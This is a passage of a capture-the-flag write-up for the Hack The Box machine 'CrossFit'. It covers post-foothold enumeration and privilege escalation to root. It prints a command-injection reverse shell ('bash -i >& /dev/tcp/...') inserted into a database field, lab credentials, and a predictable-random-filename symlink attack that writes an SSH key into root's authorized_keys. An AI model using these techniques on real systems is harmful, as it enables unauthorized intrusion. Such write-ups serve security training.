hank@crossfit:/var/www/gym-club$ mysql -u crossfit -p -D crossfitEnter password: Reading table information for completion of tableand column namesYou can turn off this feature toget a quicker startup with-AWelcome to the MariaDB monitor. Commands endwith ; or \g.Your MariaDB connection id is9552Serverversion: 10.3.22-MariaDB-0+deb10u1 Debian 10Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.Type'help;'or'\h'for help. Type'\c'toclear the current input statement.MariaDB [crossfit]> show tables-> ;+--------------------+| Tables_in_crossfit |+--------------------+| messages || roles || security_report || trainers || users |+--------------------+5rowsinset (0.000 sec)MariaDB [crossfit]>Select*from users-> ;Emptyset (0.000 sec)MariaDB [crossfit]>select*from trainers;+----+------------+-----------+---------------+------+| id | first_name | last_name | pic | role |+----+------------+-----------+---------------+------+| 1 | Becky | Taylor | trainer-1.jpg | 1 || 2 | Noah | Leonard | trainer-2.jpg | 2 || 3 | Evelyn | Fields | trainer-3.jpg | 1 || 4 | Leroy | Guzman | trainer-4.jpg | 3 |+----+------------+-----------+---------------+------+4rowsinset (0.000 sec)MariaDB [crossfit]> show *from security_report;ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '* from security_report' at line 1
MariaDB [crossfit]> show *from roles;ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '* from roles' at line 1
MariaDB [crossfit]>select*from security_report;Emptyset (0.000 sec)MariaDB [crossfit]>select*from roles;+----+---------+| id | name |+----+---------+| 1 | Gymer || 2 | Trainer || 3 | Manager |+----+---------+3rowsinset (0.000 sec)MariaDB [crossfit]>select*frommessagemessage messages.email messages.message messages messages.id messages.name MariaDB [crossfit]>select*from messages;Emptyset (0.001 sec)MariaDB [crossfit]>select email,id,name,messagefrom messages;Emptyset (0.000 sec)MariaDB [crossfit]> show database;ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'database' at line 1
MariaDB [crossfit]> show databases;+--------------------+| Database |+--------------------+| crossfit || information_schema |+--------------------+2rowsinset (0.001 sec)MariaDB [crossfit]>use information_schema ;Reading table information for completion of tableand column namesYou can turn off this feature toget a quicker startup with-ADatabase changedMariaDB [information_schema]> show tables;+---------------------------------------+| Tables_in_information_schema |+---------------------------------------+---snipped---
After looking at the folders in /var/www I remembered that I had found credentials for logging into MySQL there. I used the credentials to log into the database, but there was no useful information to be found. It only held information that was displayed on the website.
In the /security_threat folder there was a file called reports.php that held the code for reporting the detected XSS events to the admin. Apparently there was also another file that saved the report to the database, because this one only retrieved it, displayed it to the reports.php page when viewed, then deleted it from the database.
I searched for files that hank could access as a member of the admins group, and found a bunch of them that were in the /etc/pam.d directory. This was quite interesting since PAM deals with user authentication.
auth sufficient pam_mysql.so user=ftpadm passwd=8W)}gpRJvAmnb host=localhost db=ftphosting table=accounts usercolumn=username passwdcolumn=pass crypt=3
account sufficient pam_mysql.so user=ftpadm passwd=8W)}gpRJvAmnb host=localhost db=ftphosting table=accounts usercolumn=username passwdcolumn=pass crypt=3
# Standard behaviour for ftpd(8).
auth required pam_listfile.so item=user sense=deny file=/etc/ftpusers onerr=succeed
# Note: vsftpd handles anonymous logins on its own. Do not enable pam_ftp.so.
# Standard pam includes
@include common-account
@include common-session
@include common-auth
auth required pam_shells.so
In /etc/pam.d the file vsftpd contained the password for the user ftpadm.
ftpadm
# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication. Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM yes
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /var/run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none
# no default banner path
#Banner none
# Allow client to pass locale environment variables
AcceptEnv LANG LC_*
# override default of no subsystems
Subsystem sftp /usr/lib/openssh/sftp-server
# Example of overriding settings on a per-user basis
#Match User anoncvs
# X11Forwarding no
# AllowTcpForwarding no
# PermitTTY no
# ForceCommand cvs server
DenyUsers ftpadm
Unfortunately, the SSH configuration was set to explicitly deny ftpadm from logging in through SSH. I could also see that it was configured to run the subsystem for SFTP.
I tried instead to log in through FTP once again. This time, there was only one folder messages, which I had read-write access to, but was empty. Once again I uploaded a reverse shell and tried to execute it, but I wasn't sure where the folder was in the filesystem. I decided to keep this in mind as I continued my enumeration.
send_updates.php
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
MAILTO=""
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * isaac /usr/bin/php /home/isaac/send_updates/send_updates.php
#
In /etc/crontab there was a cron running every minute. This cron ran the script /home/isaac/send_updates/send_updates.php as the user isaac.
<?php
/***************************************************
* Send email updates to users in the mailing list *
***************************************************/
require("vendor/autoload.php");
require("includes/functions.php");
require("includes/db.php");
require("includes/config.php");
use mikehaertl\shellcommand\Command;
if($conn)
{
$fs_iterator = new FilesystemIterator($msg_dir);
foreach ($fs_iterator as $file_info)
{
if($file_info->isFile())
{
$full_path = $file_info->getPathname();
$res = $conn->query('SELECT email FROM users');
while($row = $res->fetch_array(MYSQLI_ASSOC))
{
$command = new Command('/usr/bin/mail');
$command->addArg('-s', 'CrossFit Club Newsletter', $escape=true);
$command->addArg($row['email'], $escape=true);
$msg = file_get_contents($full_path);
$command->setStdIn('test');
$command->execute();
}
}
unlink($full_path);
}
}
cleanup();
?>
In the folder /home/isaac/send_updates I found the send_updates.php file. Reading through the code, it seemed as if it was created to email the "CrossFit Club Newsletter" automatically to all users in the database (once a minute?! talk about spam!). The mail command was being run by the mikehaertl\shellcommand\Command library, which after a short search I found on GitHub.
Since this library is used to execute arbitrary commands, and there was no kind of filtering being done on the email parameter, this could be used to inject other commands.
hank@crossfit:/home/isaac/send_updates$ mail --help
Usage: mail [OPTION...] [address...]
or: mail [OPTION...] [OPTION...] [file]
or: mail [OPTION...] --file [OPTION...] [file]
or: mail [OPTION...] --file=file [OPTION...]
GNU mail -- process mail messages.
If -f or --file is given, mail operates on the mailbox named by the first
argument, or the user's mbox, if no argument given.
-A, --attach=FILE attach FILE
-a, --append=HEADER: VALUE append given header to the message being sent
--[no-]alternative force multipart/alternative content type
--attach-fd=FD attach from file descriptor FD
--content-filename=NAME
set the Content-Disposition filename parameter for
the next --attach option
--content-name=NAME set the Content-Type name parameter for the next
--attach option
--content-type=TYPE set content type for subsequent --attach options
-E, --exec=COMMAND execute COMMAND
-e, --exist return true if mail exists
--encoding=NAME set encoding for subsequent --attach options
-F, --byname save messages according to sender
-H, --headers write a header summary and exit
-i, --ignore ignore interrupts
-M, --[no-]mime compose MIME messages
-N, --nosum do not display initial header summary
-n, --norc do not read the system mailrc file
-p, --print, --read print all mail to standard output
-q, --quit cause interrupts to terminate program
-r, --return-address=ADDRESS
use address as the return address when sending
mail
-s, --subject=SUBJ send a message with the given SUBJECT
--[no-]skip-empty-attachments
skip attachments with empty body
-t, --to read recipients from the message header
-u, --user=USER operate on USER's mailbox
Global debugging settings
--debug-level=LEVEL set Mailutils debugging level
--[no-]debug-line-info show source info with debugging messages
Configuration handling
--config-file=FILE load this configuration file; implies --no-config
--config-lint check configuration file syntax and exit
--config-verbose verbosely log parsing of the configuration files
--no-config do not load site and user configuration files
--no-site-config do not load site-wide configuration file
--no-user-config do not load user configuration file
--set=PARAM=VALUE set configuration parameter
Informational options
--config-help show configuration file summary
--show-config-options show compilation options
-?, --help give this help list
--usage give a short usage message
-V, --version print program version
Mandatory or optional arguments to long options are also mandatory or optional
for any corresponding short options.
Report bugs to <bug-mailutils@gnu.org>.
GNU Mailutils home page: <http://mailutils.org>
General help using GNU software: <http://www.gnu.org/gethelp/>
Looking at the mail program's help, I noticed that there was a flag -E that allowed for execution of commands. Since I already had the credentials to the database, it seemed likely that I could create an entry in the user's table that contained code I wanted to execute as isaac in the email field of the database to be loaded and run withinsend_updates.php. isaac did not have a .ssh folder to insert my public key to, so I needed to craft a reverse shell instead.
hank@crossfit:/home/isaac$ mysql -u crossfit -p -D crossfit
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 11007
Server version: 10.3.22-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [crossfit]> select * from users
users users.email users.id
MariaDB [crossfit]> INSERT INTO users (id, email) VALUES ("1", "-E $(bash -i >& /dev/tcp/10.10.15.98/8099)");
Query OK, 1 row affected (0.003 sec)
MariaDB [crossfit]> select * from users;
+----+------------------------------------------------------------+
| id | email |
+----+------------------------------------------------------------+
| 1 | -E $(bash -c 'bash -i >& /dev/tcp/10.10.14.176/8099 0>&1') |
+----+------------------------------------------------------------+
1 row in set (0.000 sec)
I logged into MySQL using the same credentials as before, and checked for the field names in the user table so I knew how to frame my query to insert my reverse shell into the correct field. I assumed that the id field was set to AUTO_INCREMENT, but just in case I set it to the value "1" to ensure my code would be the first entry. The script from earlier said it pulled only the first entry.
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ nc -lvnp 8099
listening on [any] 8099 ...
connect to [10.10.14.176] from (UNKNOWN) [10.10.10.208] 53362
bash: cannot set terminal process group (1855): Inappropriate ioctl for device
bash: no job control in this shell
isaac@crossfit:~$ test
isaac@crossfit:~$ exit
I got a connection back from my injected code, however it also immediately ran two commands ( I did not type these: test and exit) which caused it to disconnect. I also could not get the same injected command to work later for some reason. I had no idea what was broken here, or why those commands got run.
$fs_iterator = new FilesystemIterator($msg_dir);
foreach ($fs_iterator as $file_info)
{
if($file_info->isFile())
I looked back through the code in send_updates.php looking for clues for how to proceed. I noticed that these loops look through everything in $msgdir and check to see if there was a file, and if so, it would run the rest of the code.
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ lftp -u ftpadm 10.10.10.208 -e "set ssl:verify-certificate no"
Password:
lftp ftpadm@10.10.10.208:~> put ~/rev-php.php
put: /home/zweilos/rev-php.php: Access failed: 553 Could not create file. (rev-php.php)
lftp ftpadm@10.10.10.208:/> cd messages/
lftp ftpadm@10.10.10.208:/messages> put ~/rev-php.php
73 bytes transferred
After some testing I found out that I needed to trigger the message by uploading a file into the messages folder after logging in with ftpadm. It did not seem to matter what the file was.
I lost my connection again due to an "unplanned network outage", so had to try again. I forgot about the -E flag when I came back to this and found another way to get my code to execute. Chaining bash commands using & also worked.
Enumeration as isaac
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ nc -lvnp 10001 1 ⨯
listening on [any] 10001 ...
connect to [10.10.14.176] from (UNKNOWN) [10.10.10.208] 54756
bash: cannot set terminal process group (2913): Inappropriate ioctl for device
bash: no job control in this shell
isaac@crossfit:~$
I finally got a shell back after triggering it by uploading a file to the ftp server.
isaac@crossfit:~$ id
id
uid=1000(isaac) gid=1000(isaac) groups=1000(isaac),50(staff),116(ftp),1005(admins)
There was a new group staff that had access to a bunch of files related to selenium.
isaac@crossfit:~/send_updates$ cd includes
cd includes
isaac@crossfit:~/send_updates/includes$ ls -la
ls -la
total 20
drwxr-x--- 2 isaac isaac 4096 May 7 2020 .
drwxr-x--- 4 isaac admins 4096 May 9 2020 ..
-rw-r----- 1 isaac isaac 41 May 7 2020 config.php
-rw-r----- 1 isaac isaac 151 May 5 2020 db.php
-rw-r----- 1 isaac isaac 520 May 5 2020 functions.php
I did some investigating to figure out why I had to upload a file to get the code to execute
<?php
$msg_dir = "/srv/ftp/messages";
?>
In the includes folder there was a file config.php that pointed to /srv/ftp/messages. This was the variable I had seen in the send_updates.php script.
I tried using pspy (with the -f flag to see files as they are accessed) to see if it was just ps that was being restricted, and I noticed the program dbmsg that I didn't recognize.
isaac@crossfit:~$ man dbmsg
man dbmsg
No manual entry for dbmsg
There was no man page, and after looking around on the internet for awhile and not finding anything I figured it must be a home-brewed application.
isaac@crossfit:~$ strings /bin/dbmsg
...snipped...
crossfit
oeLoo~y2baeni
localhost
SELECT * FROM messages
/var/backups/mariadb/comments.zip
%d%s
Adding file %s
This program must be run as root.
...snipped...
A quick peek into the strings inside the file proved this to be true.
void main(void)
{
__uid_t _Var1;
time_t tVar2;
_Var1 = geteuid();
if (_Var1 != 0) {
fwrite("This program must be run as root.\n",1,0x22,stderr);
/* WARNING: Subroutine does not return */
exit(1);
}
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
process_data();
/* WARNING: Subroutine does not return */
exit(0);
}
I exfiltrated the binary to my system and opened the program in ghidra. After locating the main() function, I saw that it ran as root. This looked to be a good bet for escalation of privileges. The program appeared to check the current system time, create a random number using the time as a seed, then run the process_data() function.
void process_data(void)
{
int iVar1;
uint uVar2;
long lVar3;
undefined8 uVar4;
size_t sVar5;
undefined local_f8 [48];
char local_c8 [48];
char local_98 [48];
undefined local_68 [28];
undefined4 local_4c;
long local_48;
FILE *local_40;
long *local_38;
long local_30;
long local_28;
long local_20;
local_20 = mysql_init(0);
if (local_20 == 0) {
fwrite("mysql_init() failed\n",1,0x14,stderr);
/* WARNING: Subroutine does not return */
exit(1);
}
lVar3 = mysql_real_connect(local_20,"localhost","crossfit","oeLoo~y2baeni","crossfit",0,0,0);
if (lVar3 == 0) {
exit_with_error(local_20);
}
iVar1 = mysql_query(local_20,"SELECT * FROM messages");
if (iVar1 != 0) {
exit_with_error(local_20);
}
local_28 = mysql_store_result(local_20);
if (local_28 == 0) {
exit_with_error(local_20);
}
local_30 = zip_open("/var/backups/mariadb/comments.zip",1,&local_4c);
if (local_30 != 0) {
while (local_38 = (long *)mysql_fetch_row(local_28), local_38 != (long *)0x0) {
if ((((*local_38 != 0) && (local_38[1] != 0)) && (local_38[2] != 0)) && (local_38[3] != 0)) {
lVar3 = *local_38;
uVar2 = rand();
snprintf(local_c8,0x30,"%d%s",(ulong)uVar2,lVar3);
sVar5 = strlen(local_c8);
md5sum(local_c8,sVar5 & 0xffffffff,local_f8,sVar5 & 0xffffffff);
snprintf(local_98,0x30,"%s%s","/var/local/",local_f8);
local_40 = fopen(local_98,"w");
if (local_40 != (FILE *)0x0) {
fputs((char *)local_38[1],local_40);
fputc(0x20,local_40);
fputs((char *)local_38[3],local_40);
fputc(0x20,local_40);
fputs((char *)local_38[2],local_40);
fclose(local_40);
if (local_30 != 0) {
printf("Adding file %s\n",local_98);
local_48 = zip_source_file(local_30,local_98,0);
if (local_48 == 0) {
uVar4 = zip_strerror(local_30);
fprintf(stderr,"%s\n",uVar4);
}
else {
lVar3 = zip_file_add(local_30,local_f8,local_48);
if (lVar3 < 0) {
zip_source_free(local_48);
uVar4 = zip_strerror(local_30);
fprintf(stderr,"%s\n",uVar4);
}
else {
uVar4 = zip_strerror(local_30);
fprintf(stderr,"%s\n",uVar4);
}
}
}
}
}
}
mysql_free_result(local_28);
delete_rows(local_20);
mysql_close(local_20);
if (local_30 != 0) {
zip_close(local_30);
}
delete_files();
return;
}
zip_error_init_with_code(local_68,local_4c,local_4c);
uVar4 = zip_error_strerror(local_68);
fprintf(stderr,"%s\n",uVar4);
/* WARNING: Subroutine does not return */
exit(-1);
}
The process_data() function opened a connection to the MySQL database and logged in. Then it pulled all of the data from the messages table and stored the result in a variable. It then opened the file /var/backups/mariadb/comments.zip. After opening the messages table and the zip file, it appeared that the program took each entry in the messages table and created a file in /var/local using the md5sum of the random number it creates as the filename, then added each file to the zip.
If I could create a file with the correct "random" filename in the /var/local directory and link it to a file of my choice before the program executed the write action, the output of my database entry in message would be written to the file (and therefore to the linked file). Whew, this was a bit complicated!
isaac@crossfit:/dev/shm$ cd /var/backups/mariadb
cd /var/backups/mariadb
bash: cd: /var/backups/mariadb: Permission denied
I tried to see what was in the backup zip file to see if I could validate my analysis of the program, but I was unable to access the directory that file was stored in.
I wrote a short function in C that emulated what the program was doing: using the current time to generate a pseudo-random number, then outputting that number to the terminal. I would use a script to use md5sum on the generated number and write it to a file since that would be much easier than writing a whole C program to do this.
gcc rand.c -o /dev/shm/rand
I compiled the small program, then created a script to run it
TODO:fix this paragraph., linking the file to root's authorized_users and (hopefully!) writing my public SSH key to it.test script to see if I can write to random location and see if my output appears. update: test worked... automating process because its a pain, and deletes every thing so fast...The '1' after running my random number program is the ID field value from my SQL statement.
hank@crossfit:/var/local$ ls -la
total 36
drwxrwsr-x 2 root staff 4096 Mar 19 17:06 .
drwxr-xr-x 13 root root 4096 May 11 2020 ..
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 0184fcf5cab878c6d7a4a238d9335fc9 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 01c341c0f1905d4cf880c9d317ea198a -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 0e5a4f402a1d4e11e29fb881ddf551ac -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 1334ee445d94d2057adfd456f0f30e9f -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 2e7e418d626a8cf774ca86427247d470 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 2f3d859545eac23b239cd02f2b382732 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 32690d4ba5a11ce8d2acaea1fe9863ed -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 34b7cf174af7a7a7c7bd6640d2bf796f -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 37d02441bcf8b1a03096e5d85613343f -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 3aec496cb87b5275d783a6fbde97eda9 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 3db43ad6c85de451942239f6334e035f -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 46e01464d466f3be2e2baacd7ce04b06 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 4fa94e4efd4b5a8586492664b4114f81 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 64872b594307597a0fb74a43518dbaf4 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 65f05f00ce94f2f38010995a2d6b5df8 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 6a885b24e1564d4aae3f8d057f85d1ac -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 6eb8a3b05d977417c959e357c018a0ee -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 76cb9159c5a2e23a03106c6c92d8899f -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 8afd3af05deff201efa18de9e88b5efd -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 957a7ab403c547a922f835f22dec3901 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 98d65c2d6817aebb40c08e07527a3999 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 a187a36ebd377ff2404e37992581e003 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 abf37f52f83200875e4f7817627a5ce2 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 b14feb3d616020463845b32b1a1c1d80 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 b2e435eb990bf835103ef3213c3a90a2 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 b4729e44d2099e46e11b776be529bc8f -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 c3fbaec6e5638c255648b740cb1d6ecf -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 caf3679893140588b1797d9936e175b0 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 d41d8cd98f00b204e9800998ecf8427e -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 d4d2474363b7c42b66766d33b1e69b2f -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 d4fe8354ba56eb84a9d73c444bbcb73b -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 d663b4289b4f4592428ac65d99eed4a5 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 dd1d1bbe442022290aa2689feec005ff -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 ddaf5badb189da9347b7afd71b8e9abd -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 e2fa52581e93721dd19fec36c1df1d3f -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 f1881aca5b246a1d4ecf260d27346ef7 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 f286b210609b0685837f8e227f27b982 -> /var/local/testing
lrwxrwxrwx 1 isaac staff 18 Mar 19 17:06 f994e5b9d588327131864b08f8d15bb9 -> /var/local/testing
-rwxr-xr-x 1 isaac staff 16792 Mar 19 17:06 rand
-rw-r--r-- 1 isaac staff 197 Mar 19 17:06 rand.c
-rwxr-xr-x 1 isaac staff 969 Mar 19 17:06 test
-rw-r--r-- 1 isaac staff 0 Mar 19 17:06 testing
hank@crossfit:/var/local$ cat *
cat: d41d8cd98f00b204e9800998ecf8427e: No such file or directory
My random files were generated, and then suddenly and swiftly removed by the cleaning crew. I tried to do a test run, but the files were deleted so fast that I couldn't get the testing file to stick around. I thought about trying to get the output to redirect to /dev/tcp to show up at a netcat listener on my machine, but I was confident that I had made it work and pushed on with trying to get root access.
isaac@crossfit:~$ vi rand.c
isaac@crossfit:~$ gcc rand.c -o /dev/shm/rand
isaac@crossfit:~$ ls
rand.c send_updates
isaac@crossfit:~$ rm rand.c
isaac@crossfit:~$ cd /dev/shm
isaac@crossfit:/dev/shm$ ls
rand
isaac@crossfit:/dev/shm$ chmod +x rand
I compiled my random file generator then made it executable (removing the evidence of its creation). After running it, (note: this is from before I automated all of this with my script later!)
isaac@crossfit:/var/local$ ls -la
total 8
drwxrwsr-x 2 root staff 4096 Mar 19 16:15 .
drwxr-xr-x 13 root root 4096 May 11 2020 ..
lrwxrwxrwx 1 isaac staff 26 Mar 19 16:15 c4ca4238a0b923820dcc509a6f75849b -> /root/.ssh/authorized_keys
I added a line to my script that would insert my message into the database, ran my script, and saw the file linked to root's authorized_keys file in the proper folder. However, I was not able to SSH into the machine.
isaac@crossfit:/var/local$ /dev/shm/test.sh
ERROR 1364 (HY000) at line 1: Field 'name' doesn't have a default value
I scrolled up to check the error messages output from my script, and saw the error that had stopped it from working. My database query that I put in the script was only inserting my public key into the messages field. The database was not set up to function with NULL values in the other fields so it was not working. It required values in the other fields.
/dev/shm/test.sh: line 2: ./rand: No such file or directory
I was also receiving the second error message above that was caused by a cleanup script on the machine which regularly deleted all files in the /tmp, /var/local, and /dev/shm directories (and maybe more).
MariaDB [crossfit]> DESCRIBE messages;
+---------+---------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------+---------------------+------+-----+---------+----------------+
| id | bigint(20) unsigned | NO | PRI | NULL | auto_increment |
| name | varchar(50) | NO | | NULL | |
| email | varchar(320) | NO | | NULL | |
| message | varchar(2048) | NO | | NULL | |
+---------+---------------------+------+-----+---------+----------------+
4 rows in set (0.001 sec)
After going back to my shell as hank and checking mysql I realized my problem. I was getting an error while inserting my key into the database, but since there was a huge spam of output from my script I didn't see it. I used the DESCRIBE command to see the columns in the message table so I could tailor my input better.
MariaDB [crossfit]> insert into messages (id, name, email, message) values (1, "ecdsa-sha2-nistp256", "zweilos", "AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOFDxKT5MSIXS3CMnjSZkAqDM+3+yMnUeK9XvRqNy0GQOpBkPhDiCYZekrPVKVM2jSsHfrMfc4P+bakquSG9g5c=C3NzaC1lZDI1NTE5AAAAIBpM8dQcTJXzXOsciQU22F4qpf1jv/SscvQAu+kz7np1");
Query OK, 1 row affected (0.001 sec)
MariaDB [crossfit]> select * from messages
-> ;
+----+---------------------+---------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | name | email | message |
+----+---------------------+---------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | ecdsa-sha2-nistp256 | zweilos | AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOFDxKT5MSIXS3CMnjSZkAqDM+3+yMnUeK9XvRqNy0GQOpBkPhDiCYZekrPVKVM2jSsHfrMfc4P+bakquSG9g5c=C3NzaC1lZDI1NTE5AAAAIBpM8dQcTJXzXOsciQU22F4qpf1jv/SscvQAu+kz7np1 |
+----+---------------------+---------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.000 sec)
I had to try a number of different entries, but in the end I had to break the public key into its three components and put them in the fields as seen above.
My SQL entry into the message database was based off of this section of the code from the process_data() function. It wrote the second field, the fourth field, then the third field to the file. This means that it wrote them in the order: name, message, email. These were separated by adding by a space (0x20) when it wrote to the file. I would need to match my entries to this format.
I created a shell script to automate everything. It wrote the C source code to a file, compiled it into a binary, gave it the executable permission, inserted my properly formatted SQL statement into the database, and finally linked /root/.ssh/authorized_keys to my randomly generated file.
hank@crossfit:/var/local$ ls -la
total 36
drwxrwsr-x 2 root staff 4096 Mar 19 17:22 .
drwxr-xr-x 13 root root 4096 May 11 2020 ..
lrwxrwxrwx 1 isaac staff 26 Mar 19 17:22 c4ca4238a0b923820dcc509a6f75849b -> /root/.ssh/authorized_keys
-rwxr-xr-x 1 isaac staff 16704 Mar 19 17:22 rand
-rw-r--r-- 1 isaac staff 153 Mar 19 17:22 rand.c
-rwxr-xr-x 1 isaac staff 987 Mar 19 17:22 t
-rw-r--r-- 1 isaac staff 0 Mar 19 17:22 testing
I verified that the randomly generated file was symlinked to /root/.ssh/authorized_keys and hoped that everything worked as planned.
Root.txt
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ ssh root@10.10.10.208 -i root.key 130 ⨯
Linux crossfit 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 21 04:46:55 2020
root@crossfit:~# id && hostname
uid=0(root) gid=0(root) groups=0(root)
crossfit
root@crossfit:~# ls -la
total 60
drwx------ 9 root root 4096 Feb 16 05:14 .
drwxr-xr-x 18 root root 4096 Sep 2 2020 ..
lrwxrwxrwx 1 root root 9 May 12 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwx------ 5 root root 4096 Apr 28 2020 .cache
-rwxr-x--- 1 root root 179 May 13 2020 cleanup.sh
drwxr-xr-x 3 root root 4096 May 1 2020 .composer
drwx------ 3 root root 4096 May 2 2020 .config
-rwx------ 1 root root 136 May 12 2020 delete_ftp_users.sh
drwx------ 3 root root 4096 Apr 28 2020 .gnupg
lrwxrwxrwx 1 root root 9 May 12 2020 .lesshst -> /dev/null
drwxr-xr-x 3 root root 4096 May 26 2020 .local
drwx------ 5 root root 4096 Apr 28 2020 .mozilla
lrwxrwxrwx 1 root root 9 May 4 2020 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-r-------- 1 root root 33 Mar 19 13:50 root.txt
-rw-r--r-- 1 root root 74 May 5 2020 .selected_editor
drwx------ 2 root root 4096 Sep 2 2020 .ssh
root@crossfit:~# cat root.txt
ee0a62a5b513a67db05897a2ec478c80
Finally! I had to keep trying to log in through SSH, as it wasn't until my files got deleted that I was successful. I was able to tell that my files got deleted because I suddenly began getting spammed with an error message from my script.
...snipped...
./t: line 19: ./rand: No such file or directory
./t: line 19: ./rand: No such file or directory
./t: line 19: ./rand: No such file or directory
./t: line 19: ./rand: No such file or directory
./t: line 19: ./rand: No such file or directory
